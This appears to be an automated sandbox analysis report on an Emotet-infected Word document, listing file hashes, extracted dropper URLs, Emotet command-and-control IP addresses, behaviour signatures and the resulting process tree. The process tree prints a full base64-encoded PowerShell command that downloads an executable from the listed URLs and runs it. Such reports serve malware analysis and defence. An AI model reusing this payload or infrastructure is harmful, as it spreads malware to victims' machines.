Analysis

  • max time kernel
    58s
  • max time network
    59s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    17-07-2020 20:24

General

  • Target

    a0d3eeaae4f459d8f244b90d97b4b8a40bca8daae995e676e4a4307e98a8e2bb.doc

  • Size

    190KB

  • MD5

    c3d62c1dccfaacec14d62bbe29629d0a

  • SHA1

    c13a5804da6c7bbd550d135da5026077a218ccb6

  • SHA256

    a0d3eeaae4f459d8f244b90d97b4b8a40bca8daae995e676e4a4307e98a8e2bb

  • SHA512

    e63e53199dabc0a7c6ce1fbc8838a2d72110498ea1c94bf78655d2bb02722627fe769389783f8066bafc775e82166d0662e73c18c1ae1d8097180affa0918086

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://mican.tri-comma.com/wp-admin/BmKOeycm0704/

exe.dropper

http://defensacovid.com/wp-admin/dGzIMVvo/

exe.dropper

http://doorbhai.com/wp-admin/Wq6Kdoisk1r4060453/

exe.dropper

http://agilentgame.reviewshell.com/cgi-bin/csoa45gw51315935/

exe.dropper

http://karir-up.com/wp-admin/CCzj96yk23/

Extracted

Family

emotet

C2

177.144.130.105:443

198.27.69.201:8080

157.7.164.178:8081

78.188.170.128:80

203.153.216.178:7080

77.74.78.80:443

178.33.167.120:8080

177.0.241.28:80

143.95.101.72:8080

51.38.201.19:7080

181.167.35.84:80

41.185.29.128:8080

192.163.221.191:8080

181.164.110.7:80

203.153.216.182:7080

80.211.32.88:8080

113.160.180.109:80

185.142.236.163:443

192.241.220.183:8080

87.106.231.60:8080

rsa_pubkey.plain

Signatures

  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Modifies registry class 280 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Suspicious behavior: EmotetMutantsSpam 1 IoCs
  • Drops file in System32 directory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a0d3eeaae4f459d8f244b90d97b4b8a40bca8daae995e676e4a4307e98a8e2bb.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    PID:1496
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JAB0AGgAaQBiAD0AJwBoAGUAZQBqACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAGAAVQByAGAASQBUAFkAYABwAHIATwB0AE8AYwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABjAGUAdQBkAGoAdQBqACAAPQAgACcAOQA5ADcAJwA7ACQAcQB1AHUAdQB2AGoAbwBlAGwAYgBlAGEAawB6AGUAbwBwAGcAdQB2AG4AbwBhAGQAPQAnAG0AbwBlAHEAdQB2AGUAbwB0AGgAcABhAHUAcgBqAGUAZQBjACcAOwAkAG4AaQBiAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABjAGUAdQBkAGoAdQBqACsAJwAuAGUAeABlACcAOwAkAHIAaQBlAHkAZgBvAGUAeQBoAG8AdQBjAGYAbwBlAG0APQAnAHkAdQBhAHcAbQBlAG8AbABkAG8AaQB6AGQAYQBqACcAOwAkAGMAaABvAHUAbABsAG8AZQBoAGMAdQBhAGwAbgBlAGEAdgB3AGkAbwB6AGYAZQB1AGsAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAG4ARQB0AC4AdwBFAGIAYwBsAEkARQBOAHQAOwAkAGMAaABvAGkAYwBoAHkAaQBjAGgAcABhAHUAYwBjAGgAbwBhAGYAdgBhAGkAdgA9ACcAaAB0AHQAcAA6AC8ALwBtAGkAYwBhAG4ALgB0AHIAaQAtAGMAbwBtAG0AYQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AQgBtAEsATwBlAHkAYwBtADAANwAwADQALwAqAGgAdAB0AHAAOgAvAC8AZABlAGYAZQBuAHMAYQBjAG8AdgBpAGQALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGQARwB6AEkATQBWAHYAbwAvACoAaAB0AHQAcAA6AC8ALwBkAG8AbwByAGIAaABhAGkALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAFcAcQA2AEsAZABvAGkAcwBrADEAcgA0ADAANgAwADQANQAzAC8AKgBoAHQAdABwADoALwAvAGEAZwBpAGwAZQBuAHQAZwBhAG0AZQAuAHIAZQB2AGkAZQB3AHMAaABlAGwAbAAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAGMAcwBvAGEANAA1AGcAdwA1ADEAMwAxADUAOQAzADUALwAqAGgAdAB0AHAAOgAvAC8AawBhAHIAaQByAC0AdQBwAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBDAEMAegBqADkANgB5AGsAMgAzAC8AJwAuACIAUwBgAHAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABtAGEAaQBiAD0AJwBkAG8AdQB5AGMAaAB1AGEAcwBsAGUAbwB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJAByAGEAbwBiAHoAZQB1AHgAIABpAG4AIAAkAGMAaABvAGkAYwBoAHkAaQBjAGgAcABhAHUAYwBjAGgAbwBhAGYAdgBhAGkAdgApAHsAdAByAHkAewAkAGMAaABvAHUAbABsAG8AZQBoAGMAdQBhAGwAbgBlAGEAdgB3AGkAbwB6AGYAZQB1AGsALgAiAEQATwBXAG4AYABsAE8AQQBgAEQAZgBgAGkATABlACIAKAAkAHIAYQBvAGIAegBlAHUAeAAsACAAJABuAGkAYgApADsAJAB0AGgAbwBhAGsAdABhAGUAaAB6AGUAcgB0AG8AeABkAHUAYQB4AHcAZQBvAHgAPQAnAHYAZQBhAHEAdQB0AGgAaQBhAGMAdABoAGkAZQB3AHQAaABhAHUAawB0AGgAbwBvAG4AaABpAHIAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABuAGkAYgApAC4AIgBsAEUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMwAwADcAMAA5ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAFIAZQBgAEEAVABFACIAKAAkAG4AaQBiACkAOwAkAHkAZQBqAGsAaQBvAG0AawBhAHUAeQB6AG8AaAA9ACcAdABpAGUAYgAnADsAYgByAGUAYQBrADsAJAB0AGgAbwBvAHcAcgBhAHUAdABkAHUAZwA9ACcAaABvAHUAdAB3AGkAbwBmACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHEAdQBvAGkAbQBjAGEAbwBuAGoAbwBhAGQAeQBpAGEAdgBqAG8AYQBoAHoAdQB1AGwAPQAnAHkAdQB1AG4AbQBvAGYAJwA=
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Drops file in System32 directory
    PID:1784
  • C:\Users\Admin\997.exe
    C:\Users\Admin\997.exe
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    PID:1392
    • C:\Windows\SysWOW64\NaturalLanguage6\perfts.exe
      "C:\Windows\SysWOW64\NaturalLanguage6\perfts.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      • Suspicious behavior: EmotetMutantsSpam
      PID:1932

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\997.exe

  • C:\Users\Admin\997.exe

  • C:\Windows\SysWOW64\NaturalLanguage6\perfts.exe

  • memory/1392-11-0x0000000000270000-0x000000000027C000-memory.dmp

    Filesize

    48KB

  • memory/1496-2-0x0000000008920000-0x0000000008924000-memory.dmp

    Filesize

    16KB

  • memory/1496-5-0x000000000AB90000-0x000000000AB94000-memory.dmp

    Filesize

    16KB

  • memory/1496-6-0x000000000BC10000-0x000000000BC14000-memory.dmp

    Filesize

    16KB

  • memory/1496-7-0x0000000006DA0000-0x0000000006FA0000-memory.dmp

    Filesize

    2.0MB

  • memory/1496-8-0x0000000002180000-0x0000000002181000-memory.dmp

    Filesize

    4KB

  • memory/1932-12-0x0000000000000000-mapping.dmp

  • memory/1932-15-0x0000000000400000-0x0000000000448000-memory.dmp

    Filesize

    288KB